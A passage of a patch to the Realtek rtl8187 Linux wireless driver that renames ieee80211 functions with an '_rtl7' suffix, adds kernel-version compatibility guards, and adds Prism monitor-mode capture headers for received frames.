*ieee80211_get_beacon_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_send_beacons_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_send_beacons_rtl7(struct ieee80211_device *ieee); +extern int ieee80211_wpa_supplicant_ioctl_rtl7(struct ieee80211_device *ieee, struct iw_point *p); +extern void notify_wx_assoc_event_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_ps_tx_ack_rtl7(struct ieee80211_device *ieee, short success); /* ieee80211_softmac_wx.c */ -extern int ieee80211_wx_get_wap(struct ieee80211_device *ieee, - struct iw_request_info *info, +extern int ieee80211_wx_get_wap_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *ext); - -extern int ieee80211_wx_set_wap(struct ieee80211_device *ieee, + +extern int ieee80211_wx_set_wap_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *awrq, char *extra); - -extern int ieee80211_wx_get_essid(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b); -extern int ieee80211_wx_set_rate(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b); + +extern int ieee80211_wx_set_rate_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); - -extern int ieee80211_wx_get_rate(struct ieee80211_device *ieee, - struct iw_request_info *info, + +extern int ieee80211_wx_get_rate_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra); - -extern int ieee80211_wx_set_mode(struct ieee80211_device *ieee, struct iw_request_info *a, + +extern int ieee80211_wx_set_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); - -extern int ieee80211_wx_set_scan(struct ieee80211_device *ieee, struct iw_request_info *a, + +extern int ieee80211_wx_set_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); - -extern int ieee80211_wx_set_essid(struct ieee80211_device *ieee, + +extern int ieee80211_wx_set_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *extra); - -extern int ieee80211_wx_get_mode(struct ieee80211_device *ieee, struct iw_request_info *a, + +extern int ieee80211_wx_get_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_set_freq(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_set_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_get_freq(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_get_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern void ieee80211_wx_sync_scan_wq(struct ieee80211_device *ieee); +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +extern void ieee80211_wx_sync_scan_wq_rtl7(struct work_struct *work); +#else +extern void ieee80211_wx_sync_scan_wq_rtl7(struct ieee80211_device *ieee); +#endif -extern int ieee80211_wx_set_rawtx(struct ieee80211_device *ieee, - struct iw_request_info *info, +extern int ieee80211_wx_set_rawtx_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra); - -extern int ieee80211_wx_get_name(struct ieee80211_device *ieee, - struct iw_request_info *info, + +extern int ieee80211_wx_get_name_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_set_power(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_get_power(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); - -extern const long ieee80211_wlan_frequencies[]; -extern inline void ieee80211_increment_scans(struct ieee80211_device *ieee) +extern const long ieee80211_wlan_frequencies_rtl7[]; + +extern inline void ieee80211_increment_scans_rtl7(struct ieee80211_device *ieee) { ieee->scans++; } -extern inline int ieee80211_get_scans(struct ieee80211_device *ieee) +extern inline int ieee80211_get_scans_rtl7(struct ieee80211_device *ieee) { return ieee->scans; } @@ -1372,7 +1398,7 @@ const char *s = essid; char *d = escaped; - if (ieee80211_is_empty_essid(essid, essid_len)) { + if (ieee80211_is_empty_essid_rtl7(essid, essid_len)) { memcpy(escaped, "", sizeof("")); return escaped; } @@ -1390,4 +1416,5 @@ *d = '\0'; return escaped; } + #endif /* IEEE80211_H */ diff -Naur rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_module.c rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_module.c --- rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_module.c 2006-06-06 04:58:00.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_module.c 2008-01-30 17:38:11.000000000 +0100 @@ -31,7 +31,6 @@ *******************************************************************************/ #include -#include #include #include #include @@ -52,6 +51,12 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" MODULE_DESCRIPTION("802.11 data/management/control stack"); @@ -60,7 +65,7 @@ #define DRV_NAME "ieee80211" -static inline int ieee80211_networks_allocate(struct ieee80211_device *ieee) +static inline int ieee80211_networks_allocate_rtl7(struct ieee80211_device *ieee) { if (ieee->networks) return 0; @@ -80,7 +85,7 @@ return 0; } -static inline void ieee80211_networks_free(struct ieee80211_device *ieee) +static inline void ieee80211_networks_free_rtl7(struct ieee80211_device *ieee) { if (!ieee->networks) return; @@ -88,7 +93,7 @@ ieee->networks = NULL; } -static inline void ieee80211_networks_initialize(struct ieee80211_device *ieee) +static inline void ieee80211_networks_initialize_rtl7(struct ieee80211_device *ieee) { int i; @@ -99,7 +104,7 @@ } -struct net_device *alloc_ieee80211(int sizeof_priv) +struct net_device *alloc_ieee80211_rtl7(int sizeof_priv) { struct ieee80211_device *ieee; struct net_device *dev; @@ -113,17 +118,17 @@ goto failed; } ieee = netdev_priv(dev); - dev->hard_start_xmit = ieee80211_xmit; + dev->hard_start_xmit = ieee80211_xmit_rtl7; ieee->dev = dev; - err = ieee80211_networks_allocate(ieee); + err = ieee80211_networks_allocate_rtl7(ieee); if (err) { IEEE80211_ERROR("Unable to allocate beacon storage: %d\n", err); goto failed; } - ieee80211_networks_initialize(ieee); + ieee80211_networks_initialize_rtl7(ieee); /* Default fragmentation threshold is maximum payload size */ ieee->fts = DEFAULT_FTS; @@ -138,7 +143,7 @@ INIT_LIST_HEAD(&ieee->crypt_deinit_list); init_timer(&ieee->crypt_deinit_timer); ieee->crypt_deinit_timer.data = (unsigned long)ieee; - ieee->crypt_deinit_timer.function = ieee80211_crypt_deinit_handler; + ieee->crypt_deinit_timer.function = ieee80211_crypt_deinit_handler_rtl7; spin_lock_init(&ieee->lock); @@ -149,7 +154,7 @@ ieee->ieee802_1x = 1; ieee->raw_tx = 0; - ieee80211_softmac_init(ieee); + ieee80211_softmac_init_rtl7(ieee); for (i = 0; i < IEEE_IBSS_MAC_HASH_SIZE; i++) INIT_LIST_HEAD(&ieee->ibss_mac_hash[i]); @@ -167,7 +172,7 @@ } -void free_ieee80211(struct net_device *dev) +void free_ieee80211_rtl7(struct net_device *dev) { struct ieee80211_device *ieee = netdev_priv(dev); @@ -175,9 +180,9 @@ struct list_head *p, *q; - ieee80211_softmac_free(ieee); + ieee80211_softmac_free_rtl7(ieee); del_timer_sync(&ieee->crypt_deinit_timer); - ieee80211_crypt_deinit_entries(ieee, 1); + ieee80211_crypt_deinit_entries_rtl7(ieee, 1); for (i = 0; i < WEP_KEYS; i++) { struct ieee80211_crypt_data *crypt = ieee->crypt[i]; @@ -191,7 +196,7 @@ } } - ieee80211_networks_free(ieee); + ieee80211_networks_free_rtl7(ieee); for (i = 0; i < IEEE_IBSS_MAC_HASH_SIZE; i++) { list_for_each_safe(p, q, &ieee->ibss_mac_hash[i]) { @@ -210,13 +215,13 @@ u32 ieee80211_debug_level = 0; struct proc_dir_entry *ieee80211_proc = NULL; -static int show_debug_level(char *page, char **start, off_t offset, +static int show_debug_level_rtl7(char *page, char **start, off_t offset, int count, int *eof, void *data) { return snprintf(page, count, "0x%08X\n", ieee80211_debug_level); } -static int store_debug_level(struct file *file, const char *buffer, +static int store_debug_level_rtl7(struct file *file, const char *buffer, unsigned long count, void *data) { char buf[] = "0x00000000"; @@ -243,7 +248,7 @@ return strnlen(buf, count); } -static int __init ieee80211_init(void) +static int __init ieee80211_init_rtl7(void) { struct proc_dir_entry *e; @@ -268,7 +273,7 @@ return 0; } -static void __exit ieee80211_exit(void) +static void __exit ieee80211_exit_rtl7(void) { if (ieee80211_proc) { remove_proc_entry("debug_level", ieee80211_proc); @@ -282,9 +287,9 @@ MODULE_PARM_DESC(debug, "debug output mask"); -module_exit(ieee80211_exit); -module_init(ieee80211_init); +module_exit(ieee80211_exit_rtl7); +module_init(ieee80211_init_rtl7); #endif -EXPORT_SYMBOL(alloc_ieee80211); -EXPORT_SYMBOL(free_ieee80211); +EXPORT_SYMBOL(alloc_ieee80211_rtl7); +EXPORT_SYMBOL(free_ieee80211_rtl7); diff -Naur rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_rx.c rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_rx.c --- rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_rx.c 2006-06-06 04:58:00.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_rx.c 2008-01-30 17:38:11.000000000 +0100 @@ -13,16 +13,15 @@ * more details. ****************************************************************************** - Few modifications for Realtek's Wi-Fi drivers by + Few modifications for Realtek's Wi-Fi drivers by Andrea Merello - - A special thanks goes to Realtek for their support ! + + A special thanks goes to Realtek for their support ! ******************************************************************************/ - + #include -#include #include #include #include @@ -43,18 +42,89 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + + #include "ieee80211.h" -static inline void ieee80211_monitor_rx(struct ieee80211_device *ieee, +static inline void ieee80211_monitor_rx_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats) { - struct ieee80211_hdr *hdr = (struct ieee80211_hdr *)skb->data; - u16 fc = le16_to_cpu(hdr->frame_ctl); + struct ieee80211_hdr *hdr1 = (struct ieee80211_hdr *)skb->data; + u16 fc = le16_to_cpu(hdr1->frame_ctl); + int prism_header; + int hdrlen, phdrlen, head_need, tail_need; + + if (ieee->dev->type == ARPHRD_IEEE80211_PRISM) { + prism_header = 1; + phdrlen = sizeof(struct linux_wlan_ng_prism_hdr); + } else { + prism_header = 0; + phdrlen = 0; + } + + hdrlen = ieee80211_get_hdrlen_rtl7(fc); + + /* check if there is enough room for extra data; if not, expand skb + * buffer to be large enough for the changes */ + head_need = phdrlen; + tail_need = 0; +#ifdef PRISM2_ADD_BOGUS_CRC + tail_need += 4; +#endif /* PRISM2_ADD_BOGUS_CRC */ + + head_need -= skb_headroom(skb); + tail_need -= skb_tailroom(skb); + + if (head_need > 0 || tail_need > 0) { + if (pskb_expand_head(skb, head_need > 0 ? head_need : 0, + tail_need > 0 ? tail_need : 0, + GFP_ATOMIC)) { + printk(KERN_DEBUG "%s: ieee80211_rx failed to " + "reallocate skb buffer\n", ieee->dev->name); + dev_kfree_skb_any(skb); + return; + } + } + + if (prism_header == 1) { + struct linux_wlan_ng_prism_hdr *hdr; + hdr = (struct linux_wlan_ng_prism_hdr *) + skb_push(skb, phdrlen); + memset(hdr, 0, phdrlen); + hdr->msgcode = LWNG_CAP_DID_BASE; + hdr->msglen = sizeof(*hdr); + memcpy(hdr->devname, ieee->dev->name, sizeof(hdr->devname)); +#define LWNG_SETVAL(f,i,s,l,d) \ +hdr->f.did = LWNG_CAP_DID_BASE | (i << 12); \ +hdr->f.status = s; hdr->f.len = l; hdr->f.data = d + LWNG_SETVAL(hosttime, 1, 0, 4, jiffies); + LWNG_SETVAL(mactime, 2, 0, 4, ((u32)rx_stats->mac_time)); + LWNG_SETVAL(channel, 3, 1 /* no value */, 4, 0); + LWNG_SETVAL(rssi, 4, 1 /* no value */, 4, 0); + LWNG_SETVAL(sq, 5, 1 /* no value */, 4, 0); + LWNG_SETVAL(signal, 6, 0, 4, rx_stats->signal); + LWNG_SETVAL(noise, 7, 0, 4, rx_stats->noise); + LWNG_SETVAL(rate, 8, 0, 4, rx_stats->rate / 5); + LWNG_SETVAL(istx, 9, 0, 4, 0); + LWNG_SETVAL(frmlen, 10, 0, 4, skb->len - phdrlen); +#undef LWNG_SETVAL + } skb->dev = ieee->dev; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,22)) skb->mac.raw = skb->data; - skb_pull(skb, ieee80211_get_hdrlen(fc)); +#else + skb_reset_mac_header(skb); +#endif + skb_pull(skb, hdrlen); + if (prism_header) + skb_pull(skb, phdrlen); skb->pkt_type = PACKET_OTHERHOST; skb->protocol = __constant_htons(ETH_P_80211_RAW); memset(skb->cb, 0, sizeof(skb->cb)); @@ -64,7 +134,7 @@ /* Called only as a tasklet (software IRQ) */ static struct ieee80211_frag_entry * -ieee80211_frag_cache_find(struct ieee80211_device *ieee, unsigned int seq, +ieee80211_frag_cache_find_rtl7(struct ieee80211_device *ieee, unsigned int seq, unsigned int frag, u8 *src, u8 *dst) { struct ieee80211_frag_entry *entry; @@ -94,7 +164,7 @@ /* Called only as a tasklet (software IRQ) */ static struct sk_buff * -ieee80211_frag_cache_get(struct ieee80211_device *ieee, +ieee80211_frag_cache_get_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *hdr) { struct sk_buff *skb = NULL; @@ -133,7 +203,7 @@ } else { /* received a fragment of a frame for which the head fragment * should have already been received */ - entry = ieee80211_frag_cache_find(ieee, seq, frag, hdr->addr2, + entry = ieee80211_frag_cache_find_rtl7(ieee, seq, frag, hdr->addr2, hdr->addr1); if (entry != NULL) { entry->last_frag = frag; @@ -146,7 +216,7 @@ /* Called only as a tasklet (software IRQ) */ -static int ieee80211_frag_cache_invalidate(struct ieee80211_device *ieee, +static int ieee80211_frag_cache_invalidate_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *hdr) { u16 sc; @@ -156,7 +226,7 @@ sc = le16_to_cpu(hdr->seq_ctl); seq = WLAN_GET_SEQ_SEQ(sc); - entry = ieee80211_frag_cache_find(ieee, seq, -1, hdr->addr2, + entry = ieee80211_frag_cache_find_rtl7(ieee, seq, -1, hdr->addr2, hdr->addr1); if (entry == NULL) { @@ -178,7 +248,7 @@ * * Called by ieee80211_rx */ static inline int -ieee80211_rx_frame_mgmt(struct ieee80211_device *ieee, struct sk_buff *skb, +ieee80211_rx_frame_mgmt_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats, u16 type, u16 stype) { @@ -187,13 +257,13 @@ * response parser uses it */ rx_stats->len = skb->len; - ieee80211_rx_mgt(ieee,(struct ieee80211_hdr *)skb->data,rx_stats); - ieee80211_rx_frame_softmac(ieee, skb, rx_stats, type, stype); + ieee80211_rx_mgt_rtl7(ieee,(struct ieee80211_hdr *)skb->data,rx_stats); + ieee80211_rx_frame_softmac_rtl7(ieee, skb, rx_stats, type, stype); dev_kfree_skb_any(skb); - + return 0; - + #ifdef NOT_YET if (ieee->iw_mode == IW_MODE_MASTER) { printk(KERN_DEBUG "%s: Master mode not yet suppported.\n", @@ -253,7 +323,7 @@ /* No encapsulation header if EtherType < 0x600 (=length) */ /* Called by ieee80211_rx_frame_decrypt */ -static int ieee80211_is_eapol_frame(struct ieee80211_device *ieee, +static int ieee80211_is_eapol_frame_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb) { struct net_device *dev = ieee->dev; @@ -294,7 +364,7 @@ /* Called only as a tasklet (software IRQ), by ieee80211_rx */ static inline int -ieee80211_rx_frame_decrypt(struct ieee80211_device* ieee, struct sk_buff *skb, +ieee80211_rx_frame_decrypt_rtl7(struct ieee80211_device* ieee, struct sk_buff *skb, struct ieee80211_crypt_data *crypt) { struct ieee80211_hdr *hdr; @@ -304,7 +374,7 @@ return 0; hdr = (struct ieee80211_hdr *) skb->data; - hdrlen = ieee80211_get_hdrlen(le16_to_cpu(hdr->frame_ctl)); + hdrlen = ieee80211_get_hdrlen_rtl7(le16_to_cpu(hdr->frame_ctl)); #ifdef CONFIG_IEEE80211_CRYPT_TKIP if (ieee->tkip_countermeasures && @@ -339,7 +409,7 @@ /* Called only as a tasklet (software IRQ), by ieee80211_rx */ static inline int -ieee80211_rx_frame_decrypt_msdu(struct ieee80211_device* ieee, struct sk_buff *skb, +ieee80211_rx_frame_decrypt_msdu_rtl7(struct ieee80211_device* ieee, struct sk_buff *skb, int keyidx, struct ieee80211_crypt_data *crypt) { struct ieee80211_hdr *hdr; @@ -349,7 +419,7 @@ return 0; hdr = (struct ieee80211_hdr *) skb->data; - hdrlen = ieee80211_get_hdrlen(le16_to_cpu(hdr->frame_ctl)); + hdrlen = ieee80211_get_hdrlen_rtl7(le16_to_cpu(hdr->frame_ctl)); atomic_inc(&crypt->refcnt); res = crypt->ops->decrypt_msdu(skb, keyidx, hdrlen, crypt->priv); @@ -367,7 +437,7 @@ /* this function is stolen from ipw2200 driver*/ #define IEEE_PACKET_RETRY_TIME (5*HZ) -static int is_duplicate_packet(struct ieee80211_device *ieee, +static int is_duplicate_packet_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *header) { // u16 fc = le16_to_cpu(header->frame_ctl); @@ -413,7 +483,7 @@ last_seq = &ieee->last_seq_num; last_frag = &ieee->last_frag_num; last_time = &ieee->last_packet_time; - + break; default: return 0; @@ -436,7 +506,7 @@ drop: // BUG_ON(!(fc & IEEE80211_FCTL_RETRY)); // printk("DUP\n"); - + return 1; } @@ -444,7 +514,7 @@ /* All received frames are sent to this function. @skb contains the frame in * IEEE 802.11 format, i.e., in the format it was sent over air. * This function is called only as a tasklet (software IRQ). */ -int ieee80211_rx(struct ieee80211_device *ieee, struct sk_buff *skb, +int ieee80211_rx_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats) { struct net_device *dev = ieee->dev; @@ -481,9 +551,9 @@ type = WLAN_FC_GET_TYPE(fc); stype = WLAN_FC_GET_STYPE(fc); sc = le16_to_cpu(hdr->seq_ctl); - + frag = WLAN_GET_SEQ_FRAG(sc); - hdrlen = ieee80211_get_hdrlen(fc); + hdrlen = ieee80211_get_hdrlen_rtl7(fc); #ifdef NOT_YET #if WIRELESS_EXT > 15 @@ -501,12 +571,12 @@ } #endif /* IW_WIRELESS_SPY */ #endif /* WIRELESS_EXT > 15 */ - hostap_update_rx_stats(local->ap, hdr, rx_stats); + hostap_update_rx_stats_rtl7(local->ap, hdr, rx_stats); #endif #if WIRELESS_EXT > 15 if (ieee->iw_mode == IW_MODE_MONITOR) { - ieee80211_monitor_rx(ieee, skb, rx_stats); + ieee80211_monitor_rx_rtl7(ieee, skb, rx_stats); stats->rx_packets++; stats->rx_bytes += skb->len; return 1; @@ -529,7 +599,7 @@ * stations that do not support WEP key mapping). */ if (!(hdr->addr1[0] & 0x01) || local->bcrx_sta_key) - (void) hostap_handle_sta_crypto(local, hdr, &crypt, + (void) hostap_handle_sta_crypto_rtl7(local, hdr, &crypt, &sta); #endif @@ -555,7 +625,7 @@ if (skb->len < IEEE80211_DATA_HDR3_LEN) goto rx_dropped; - if (is_duplicate_packet(ieee, hdr)) + if (is_duplicate_packet_rtl7(ieee, hdr)) goto rx_dropped; @@ -573,9 +643,9 @@ goto rx_dropped; } #endif - - - if (ieee80211_rx_frame_mgmt(ieee, skb, rx_stats, type, stype)) + + + if (ieee80211_rx_frame_mgmt_rtl7(ieee, skb, rx_stats, type, stype)) goto rx_dropped; else goto rx_exit; @@ -583,7 +653,7 @@ /* Data frame - extract src/dst addresses */ - + switch (fc & (IEEE80211_FCTL_FROMDS | IEEE80211_FCTL_TODS)) { case IEEE80211_FCTL_FROMDS: memcpy(dst, hdr->addr1, ETH_ALEN); @@ -606,7 +676,7 @@ } #ifdef NOT_YET - if (hostap_rx_frame_wds(ieee, hdr, fc, &wds)) + if (hostap_rx_frame_wds_rtl7(ieee, hdr, fc, &wds)) goto rx_dropped; if (wds) { skb->dev = dev = wds; @@ -619,7 +689,7 @@ memcmp(hdr->addr2, ieee->assoc_ap_addr, ETH_ALEN) == 0) { /* Frame from BSSID of the AP for which we are a client */ skb->dev = dev = ieee->stadev; - stats = hostap_get_stats(dev); + stats = hostap_get_stats_rtl7(dev); from_assoc_ap = 1; } #endif @@ -630,7 +700,7 @@ if ((ieee->iw_mode == IW_MODE_MASTER || ieee->iw_mode == IW_MODE_REPEAT) && !from_assoc_ap) { - switch (hostap_handle_sta_rx(ieee, dev, skb, rx_stats, + switch (hostap_handle_sta_rx_rtl7(ieee, dev, skb, rx_stats, wds != NULL)) { case AP_RX_CONTINUE_NOT_AUTHORIZED: frame_authorized = 0; @@ -664,7 +734,7 @@ /* skb: hdr + (possibly fragmented, possibly encrypted) payload */ if (ieee->host_decrypt && (fc & IEEE80211_FCTL_WEP) && - (keyidx = ieee80211_rx_frame_decrypt(ieee, skb, crypt)) < 0) + (keyidx = ieee80211_rx_frame_decrypt_rtl7(ieee, skb, crypt)) < 0) goto rx_dropped; hdr = (struct ieee80211_hdr *) skb->data; @@ -674,7 +744,7 @@ // ieee->host_decrypt && (fc & IEEE80211_FCTL_WEP) && if ((frag != 0 || (fc & IEEE80211_FCTL_MOREFRAGS))) { int flen; - struct sk_buff *frag_skb = ieee80211_frag_cache_get(ieee, hdr); + struct sk_buff *frag_skb = ieee80211_frag_cache_get_rtl7(ieee, hdr); IEEE80211_DEBUG_FRAG("Rx Fragment received (%u)\n", frag); if (!frag_skb) { @@ -694,7 +764,7 @@ printk(KERN_WARNING "%s: host decrypted and " "reassembled frame did not fit skb\n", dev->name); - ieee80211_frag_cache_invalidate(ieee, hdr); + ieee80211_frag_cache_invalidate_rtl7(ieee, hdr); goto rx_dropped; } @@ -722,19 +792,19 @@ * delivered, so remove skb from fragment cache */ skb = frag_skb; hdr = (struct ieee80211_hdr *) skb->data; - ieee80211_frag_cache_invalidate(ieee, hdr); + ieee80211_frag_cache_invalidate_rtl7(ieee, hdr); } /* skb: hdr + (possible reassembled) full MSDU payload; possibly still * encrypted/authenticated */ if (ieee->host_decrypt && (fc & IEEE80211_FCTL_WEP) && - ieee80211_rx_frame_decrypt_msdu(ieee, skb, keyidx, crypt)) + ieee80211_rx_frame_decrypt_msdu_rtl7(ieee, skb, keyidx, crypt)) goto rx_dropped; hdr = (struct ieee80211_hdr *) skb->data; if (crypt && !(fc & IEEE80211_FCTL_WEP) && !ieee->open_wep) { if (/*ieee->ieee802_1x &&*/ - ieee80211_is_eapol_frame(ieee, skb)) { + ieee80211_is_eapol_frame_rtl7(ieee, skb)) { #ifdef CONFIG_IEEE80211_DEBUG /* pass unencrypted EAPOL frames even if encryption is * configured */ @@ -763,7 +833,7 @@ #endif if (crypt && !(fc & IEEE80211_FCTL_WEP) && !ieee->open_wep && - !ieee80211_is_eapol_frame(ieee, skb)) { + !ieee80211_is_eapol_frame_rtl7(ieee, skb)) { IEEE80211_DEBUG_DROP( "dropped unencrypted RX data " "frame from " MAC_FMT @@ -861,7 +931,12 @@ if (skb2 != NULL) { /* send to wireless media */ skb2->protocol = __constant_htons(ETH_P_802_3); +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,22)) skb2->mac.raw = skb2->nh.raw = skb2->data; +#else + skb_reset_mac_header(skb2); + skb_reset_network_header(skb2); +#endif /* skb2->nh.raw = skb2->data + ETH_HLEN; */ skb2->dev = dev; dev_queue_xmit(skb2); @@ -896,7 +971,7 @@ #define MGMT_FRAME_FIXED_PART_LENGTH 0x24 -static inline int ieee80211_is_ofdm_rate(u8 rate) +static inline int ieee80211_is_ofdm_rate_rtl7(u8 rate) { switch (rate & ~IEEE80211_BASIC_RATE_MASK) { case IEEE80211_OFDM_RATE_6MB: @@ -913,7 +988,7 @@ } -static inline int ieee80211_network_init( +static inline int ieee80211_network_init_rtl7( struct ieee80211_device *ieee, struct ieee80211_probe_response *beacon, struct ieee80211_network *network, @@ -964,7 +1039,7 @@ switch (info_element->id) { case MFIE_TYPE_SSID: - if (ieee80211_is_empty_essid(info_element->data, + if (ieee80211_is_empty_essid_rtl7(info_element->data, info_element->len)) { network->flags |= NETWORK_EMPTY_ESSID; break; @@ -991,7 +1066,7 @@ #ifdef CONFIG_IEEE80211_DEBUG p += snprintf(p, sizeof(rates_str) - (p - rates_str), "%02X ", network->rates[i]); #endif - if (ieee80211_is_ofdm_rate(info_element->data[i])) { + if (ieee80211_is_ofdm_rate_rtl7(info_element->data[i])) { network->flags |= NETWORK_HAS_OFDM; if (info_element->data[i] & IEEE80211_BASIC_RATE_MASK) @@ -1014,7 +1089,7 @@ #ifdef CONFIG_IEEE80211_DEBUG p += snprintf(p, sizeof(rates_str) - (p - rates_str), "%02X ", network->rates[i]); #endif - if (ieee80211_is_ofdm_rate(info_element->data[i])) { + if (ieee80211_is_ofdm_rate_rtl7(info_element->data[i])) { network->flags |= NETWORK_HAS_OFDM; if (info_element->data[i] & IEEE80211_BASIC_RATE_MASK) @@ -1043,47 +1118,47 @@ break; case MFIE_TYPE_TIM: - - if(info_element->len < 4) + + if(info_element->len < 4) break; - + network->dtim_period = info_element->data[1]; - + if(ieee->state != IEEE80211_LINKED) break; - - network->last_dtim_sta_time[0] = stats->mac_time[0]; + + network->last_dtim_sta_time[0] = stats->mac_time[0]; network->last_dtim_sta_time[1] = stats->mac_time[1]; - + network->dtim_data = IEEE80211_DTIM_VALID; - - if(info_element->data[0] != 0) + + if(info_element->data[0] != 0) break; - + if(info_element->data[2] & 1) network->dtim_data |= IEEE80211_DTIM_MBCAST; - + offset = (info_element->data[2] >> 1)*2; - - //printk("offset1:%x aid:%x\n",offset, ieee->assoc_id); - - if(ieee->assoc_id < offset || + + //printk("offset1:%x aid:%x\n",offset, ieee->assoc_id); + + if(ieee->assoc_id < offset || ieee->assoc_id > 8*(offset + info_element->len -3)) - + break; - - + + offset = offset + ieee->assoc_id / 8;// + ((aid % 8)? 0 : 1) ; - - // printk("offset:%x data:%x, ucast:%d\n", offset, + + // printk("offset:%x data:%x, ucast:%d\n", offset, // info_element->data[3+offset] , // info_element->data[3+offset] & (1<<(ieee->assoc_id%8))); - + if(info_element->data[3+offset] & (1<<(ieee->assoc_id%8))) network->dtim_data |= IEEE80211_DTIM_UCAST; - + break; - + case MFIE_TYPE_IBSS_SET: IEEE80211_DEBUG_SCAN("MFIE_TYPE_IBSS_SET: ignored\n"); break; @@ -1115,7 +1190,7 @@ memcpy(network->rsn_ie, info_element, network->rsn_ie_len); break; - + default: IEEE80211_DEBUG_SCAN("unsupported IE %d\n", info_element->id); @@ -1147,7 +1222,7 @@ return 1; } - if (ieee80211_is_empty_essid(network->ssid, network->ssid_len)) + if (ieee80211_is_empty_essid_rtl7(network->ssid, network->ssid_len)) network->flags |= NETWORK_EMPTY_ESSID; memcpy(&network->stats, stats, sizeof(network->stats)); @@ -1155,24 +1230,24 @@ return 0; } -static inline int is_same_network(struct ieee80211_network *src, +static inline int is_same_network_rtl7(struct ieee80211_network *src, struct ieee80211_network *dst) { /* A network is only a duplicate if the channel, BSSID, ESSID - * and the capability field (in particular IBSS and BSS) all match. + * and the capability field (in particular IBSS and BSS) all match. * We treat all with the same BSSID and channel * as one network */ return ((src->ssid_len == dst->ssid_len) && (src->channel == dst->channel) && !memcmp(src->bssid, dst->bssid, ETH_ALEN) && !memcmp(src->ssid, dst->ssid, src->ssid_len) && - ((src->capability & WLAN_CAPABILITY_IBSS) == + ((src->capability & WLAN_CAPABILITY_IBSS) == (dst->capability & WLAN_CAPABILITY_IBSS)) && - ((src->capability & WLAN_CAPABILITY_BSS) == + ((src->capability & WLAN_CAPABILITY_BSS) == (dst->capability & WLAN_CAPABILITY_BSS))); } -static inline void update_network(struct ieee80211_network *dst, +static inline void update_network_rtl7(struct ieee80211_network *dst, struct ieee80211_network *src) { memcpy(&dst->stats, &src->stats, sizeof(struct ieee80211_rx_stats)); @@ -1194,7 +1269,7 @@ dst->dtim_data = src->dtim_data; dst->last_dtim_sta_time[0] = src->last_dtim_sta_time[0]; dst->last_dtim_sta_time[1] = src->last_dtim_sta_time[1]; - + memcpy(dst->wpa_ie, src->wpa_ie, src->wpa_ie_len); dst->wpa_ie_len = src->wpa_ie_len; memcpy(dst->rsn_ie, src->rsn_ie, src->rsn_ie_len); @@ -1204,7 +1279,7 @@ /* dst->last_associate is not overwritten */ } -static inline void ieee80211_process_probe_response( +static inline void ieee80211_process_probe_response_rtl7( struct ieee80211_device *ieee, struct ieee80211_probe_response *beacon, struct ieee80211_rx_stats *stats) @@ -1239,7 +1314,7 @@ (beacon->capability & (1<<0x1)) ? '1' : '0', (beacon->capability & (1<<0x0)) ? '1' : '0'); - if (ieee80211_network_init(ieee, beacon, &network, stats)) { + if (ieee80211_network_init_rtl7(ieee, beacon, &network, stats)) { IEEE80211_DEBUG_SCAN("Dropped '%s' (" MAC_FMT ") via %s.\n", escape_essid(info_element->data, info_element->len), @@ -1261,12 +1336,12 @@ * already there. */ spin_lock_irqsave(&ieee->lock, flags); - - if(is_same_network(&ieee->current_network, &network)) - 